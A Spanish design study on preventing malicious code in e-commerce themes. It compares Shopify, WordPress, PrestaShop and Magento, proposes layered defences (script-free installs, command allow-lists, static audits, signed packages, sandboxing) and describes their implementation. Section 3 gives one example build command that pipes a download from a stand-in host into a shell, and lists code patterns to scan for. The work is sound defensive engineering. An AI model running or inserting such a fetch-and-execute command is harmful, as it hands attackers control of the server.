Estudio: cómo evitar que un tema meta código malicioso
Julio 2026.
1. La bifurcación: por qué Shopify no tiene este problema y WordPress sí
Sección titulada «1. La bifurcación: por qué Shopify no tiene este problema y WordPress sí»No es que Shopify tenga mejor antivirus. Es que decidió que un tema no fuera código.
Liquid, su lenguaje de plantillas, existe desde 2006 y está hecho a propósito para esto:
«It needs to be non evaling and secure. Liquid templates are made so that users can edit them. You don’t want to run code on your server which your users wrote.»
Un tema de Shopify no puede ejecutar código arbitrario, ni tocar el sistema de ficheros, ni hacer bucles sin límite. Puede pintar datos y poco más. Por eso miles de comercios comparten la misma infraestructura sin que uno tumbe a otro.
WordPress hizo lo contrario: el tema es PHP y corre dentro de la aplicación, con acceso a la base de datos y a todo. Es lo que da su flexibilidad… y es la razón de que haya tantísimo WordPress infectado.
Nosotros estamos hoy en el lado de WordPress: los comandos vienen escritos dentro del tema y se ejecutan tal cual.
1 bis. Qué hace cada uno, en concreto
Sección titulada «1 bis. Qué hace cada uno, en concreto»| Qué es un tema | Cómo se defiende | Con qué resultado | |
|---|---|---|---|
| Shopify | Liquid: no ejecuta nada | Técnica. No hay nada que ejecutar | El problema no existe |
| WordPress | PHP dentro de la aplicación | Procedimental. Revisión humana obligatoria antes de publicar (licencia y seguridad), Theme Check replicando los tests automáticos, y botón «Report this theme» + themes@wordpress.org |
Infecciones a mansalva. El vector real no es el directorio: son los temas nulled |
| PrestaShop | Smarty/Twig para las vistas, PHP en los módulos | Procedimental con herramienta pública. validator.prestashop.com + checklist técnica. Regla notable: nada de HTML dentro del PHP, las vistas van por Smarty, y se comprueban los modificadores de escape. El módulo se prueba con el modo depuración encendido: si salta un aviso, se rechaza |
Intermedio: su capa de tema ya es un lenguaje de plantillas |
| Magento / Adobe Commerce | PHP | La más formal. Extension Quality Program: nivel 1 automático (estándares de código, detección de virus y malware, e indicios de plagio) y luego revisión manual de QA | Aun así existe magento-malware-scanner, un proyecto comunitario con «la mayor colección de malware de Magento». Eso lo dice todo |
Las tres lecciones que saco de esta tabla:
- La revisión previa es necesaria y no basta. Magento hace la revisión más seria del sector y existe un repositorio comunitario dedicado a catalogar el malware que se le cuela. No es un fallo de ejecución: es que revisar código arbitrario a ojo no escala.
- PrestaShop va en la dirección correcta sin decirlo. Obligar a que las vistas pasen por Smarty es dar un paso hacia el modelo Shopify: la parte que toca el diseñador deja de ser código.
- El agujero de WordPress no está en su directorio, está fuera. Los temas revisados son razonablemente seguros; los infectados son copias piratas de temas de pago. Eso es un problema de distribución y licencia, no de revisión — y da la casualidad de que ya tenemos montado un sistema de licencias con firma para exactamente eso.
2. La buena noticia: partimos con ventaja
Sección titulada «2. La buena noticia: partimos con ventaja»Hay una diferencia estructural a nuestro favor, y conviene verla antes de gastar en fortificaciones.
En WordPress el tema corre dentro de la tienda. Tiene la conexión a la base de datos, las claves de pago, las sesiones de los clientes. Un tema malicioso lo tiene todo.
En nuestra arquitectura el tema es un proceso aparte que solo habla con la Store API pública, con la clave publicable — esa que ya viaja al navegador de cualquier visitante y no es secreta. No tiene la base de datos, ni la Admin API, ni las claves de pago.
Es decir: un tema confinado no puede hacer nada que no pudiera hacer un visitante con el navegador abierto. Eso ya recorta la mitad del problema, y sale gratis porque es como está montado.
Lo que queda por proteger es el momento peligroso de verdad: instalar y construir, que es cuando se ejecutan comandos en tu servidor.
3. Cuatro capas, de barata a cara
Sección titulada «3. Cuatro capas, de barata a cara»Capa 1 — Que no haya nada que ejecutar (casi gratis)
Sección titulada «Capa 1 — Que no haya nada que ejecutar (casi gratis)»Lo que más riesgo quita por lo poco que cuesta:
--ignore-scriptsal instalar. El ataque clásico de npm es unpostinstallen una dependencia. Con esta bandera no corre ninguno. Es una palabra.- Comandos de una lista blanca, no cadenas libres. Hoy el tema escribe
"build": "next build"y se ejecuta tal cual — puede poner"build": "curl malo.com | sh". La solución: el contrato declara el stack, y el sistema sabe qué comando corresponde a cada stack. El tema elige de una lista, no escribe la orden. - Fichero de bloqueo obligatorio y fijo. Sin lockfile no se instala. Así la versión que auditaste es la que se instala mañana.
- Revisión estática antes de instalar. Buscar
child_process,eval, escrituras fuera de su carpeta, conexiones a dominios no declarados. No es infalible —se puede ofuscar— pero pilla lo tonto y es barato.
Capa 2 — Que solo entre lo que tú has firmado (barato)
Sección titulada «Capa 2 — Que solo entre lo que tú has firmado (barato)»- Temas firmados. Cada tema publicado lleva firma con nuestra clave; el panel rechaza los que no la traen, salvo que el usuario active a mano el modo «orígenes externos» con un aviso claro.
- Ya tenemos media pieza montada: el sistema de licencias de pcreative firma con RS256 y verifica sin conexión con la clave pública. Es el mismo mecanismo.
Esto es, de hecho, lo que separa un catálogo de temas propio de una jungla.
Capa 3 — Aislar la construcción (medio)
Sección titulada «Capa 3 — Aislar la construcción (medio)»El momento peligroso es el install + build. Que ocurra dentro de una caja:
| Opción | Aislamiento | Coste |
|---|---|---|
| Contenedor endurecido (sin red salvo el registro, sin secretos, usuario sin privilegios, disco de solo lectura salvo su carpeta, límites de CPU y memoria) | Comparte núcleo con el anfitrión | Bajo — ya usamos Docker |
| gVisor — intercepta las llamadas al sistema en espacio de usuario y solo deja pasar un subconjunto revisado | Mucho mejor que un contenedor normal | Medio. Lo usa Google en GKE |
| Firecracker — microVM de verdad, arranca en ~125 ms con menos de 5 MiB de sobrecarga | El estándar actual para código no confiable. Es lo que usa Vercel Sandbox | Medio-alto |
El consenso de 2026 es claro y conviene no engañarse: un contenedor normal no basta para código realmente no confiable, porque comparte núcleo. Para temas propios sobra; para un catálogo abierto, no.
Capa 4 — Aislar también la ejecución (medio)
Sección titulada «Capa 4 — Aislar también la ejecución (medio)»El proceso del tema, ya en marcha, con lo mínimo:
- Usuario del sistema propio, sin privilegios.
- Solo la URL pública del backend y la clave publicable. Ni una variable más. Ni base de datos, ni Admin API, ni claves de pago.
- Disco de solo lectura salvo su carpeta de caché.
- Salida de red restringida: solo puede hablar con el backend de la tienda. Sin esto, un tema puede mandar a donde quiera lo que renderiza.
- Límites de CPU y memoria, para que un tema con un bucle infinito no tumbe la máquina.
4. Lo que yo haría, por fases
Sección titulada «4. Lo que yo haría, por fases»Fase 1 — Ahora, con temas propios (horas).
Capas 1 y 2: --ignore-scripts, comandos por lista blanca según el stack,
lockfile obligatorio, revisión estática, y el panel solo acepta temas firmados
salvo que actives «orígenes externos» a mano.
Con temas nuestros esto ya es suficiente, y sin ello no publicaría ni uno.
Fase 2 — Antes de abrir catálogo a terceros (días). Capa 3 con contenedor endurecido para instalar y construir, y capa 4 para ejecutar: el tema solo ve la API pública y solo puede salir hacia ella.
Fase 3 — Si llega el alojamiento gestionado (semanas). Firecracker o gVisor por tienda. Cuando corren temas de desconocidos en TU máquina junto a tiendas de otros clientes, el contenedor compartido deja de ser defendible.
La opción que no descarto pero no elegiría hoy: copiar a Shopify. Un lenguaje de plantillas propio, sin ejecución, elimina el problema de raíz. Y también elimina el argumento con el que queremos ganar —temas bespoke en el stack que quieras— y nos mete en años de trabajo reinventando Liquid. Si algún día hay catálogo masivo de terceros, se replantea; para temas nuestros y de agencias conocidas, aislar es mejor negocio que amputar.
5. Reglas que no me saltaría
Sección titulada «5. Reglas que no me saltaría»- El tema NUNCA ve un secreto. Solo la URL pública y la clave publicable, que ya es pública. Si algún día un tema necesita algo más, es que el diseño está mal.
- Nada de cadenas de comandos libres en el manifiesto. El tema declara su stack; el sistema decide el comando.
- Instalar sin scripts de ciclo de vida, siempre.
- Firmado por defecto, sin firmar solo si el usuario lo pide y lo entiende.
- Decirlo en la interfaz. Al instalar un tema de fuera, avisar de qué se ejecuta y con qué permisos. Lo contrario es lo que llevó a WordPress donde está.
Fuentes
Sección titulada «Fuentes»- Liquid — Shopify (repositorio)
- Liquid template language
- 4 ways to sandbox untrusted code in 2026
- How to sandbox AI agents in 2026: MicroVMs, gVisor & isolation strategies — Northflank
- Firecracker vs gVisor: Which Sandbox in 2026?
- Notes on sandboxing untrusted code — Firecracker/gVisor/WASM
- Review a Theme — Make WordPress
- Theme security issues — WordPress Theme Handbook
- Validation checklist — PrestaShop Developer Documentation
- PrestaShop Validator
- Malware scan — Adobe Commerce Marketplace (devdocs)
- magento-malware-scanner — la mayor colección de malware de Magento
Apéndice — Capas 1 y 2, ya implementadas
Sección titulada «Apéndice — Capas 1 y 2, ya implementadas»Capa 1 (c4012468)
Sección titulada «Capa 1 (c4012468)»packages/theme-contract/src/runtime.js— los comandos los decide el sistema a partir destackypackageManager.runtime.commandsqueda informativo y se avisa si no coincide. Órdenes como listas de argumentos, sin intérprete.- Instalar nunca ejecuta scripts de ciclo de vida, en los cinco gestores.
packages/theme-contract/src/auditoria.js— revisión previa: fichero de bloqueo, scripts de instalación, procesos, evaluación al vuelo, base64 largo, búsqueda de secretos, y dominios frente aruntime.hosts.- Un tema que exige
DATABASE_URL,JWT_SECRETo una clave de pasarela es error del contrato. pcc-theme audit [dir] [--monorepo].
Capa 2 — firma
Sección titulada «Capa 2 — firma»packages/theme-contract/src/firma.js. Complementa a la auditoría y no hace
lo mismo: la auditoría mira el contenido y busca señales; la firma garantiza
que el paquete es exactamente el que publicó quien dice haberlo publicado.
Contra el problema real de WordPress —temas de pago pirateados y manipulados— una revisión no puede nada y una firma sí.
- SHA-256 por fichero, lista ordenada, firmada con RS256 en formato JWS compacto: el mismo esquema que ya usan las licencias, no un formato nuevo.
- Se verifican tres cosas: la clave es de confianza, el paquete es del tema y la versión que dice, y ni un fichero ha cambiado, sobra o falta.
"alg": "none"no cuela: el algoritmo lo impone el verificador, no la firma.- No se firma un paquete que traiga resultados de compilación: un tema se distribuye en fuente y se construye en destino.
- Rutas normalizadas con
/, así que un tema firmado en Linux verifica en Windows.
pcc-theme sign <dir> --key privada.pem --publisher pcreative.dev --kid temas-1pcc-theme verify <dir> --pubkey publica.pempcc-theme verify <dir> --url https://api.pcreative.dev/api/license/pubkeySobre la clave. Vale cualquier par RSA y se puede reutilizar el del sistema de licencias, pero conviene uno dedicado: con una sola clave, una filtración del lado de licencias permitiría además firmar temas maliciosos que todas las instalaciones aceptarían como nuestros.
Lo que falta de la capa 2
Sección titulada «Lo que falta de la capa 2»Enchufarlo al panel: almacén de claves de confianza, y que instalar un tema sin firma pida confirmación explícita en vez de seguir sin más.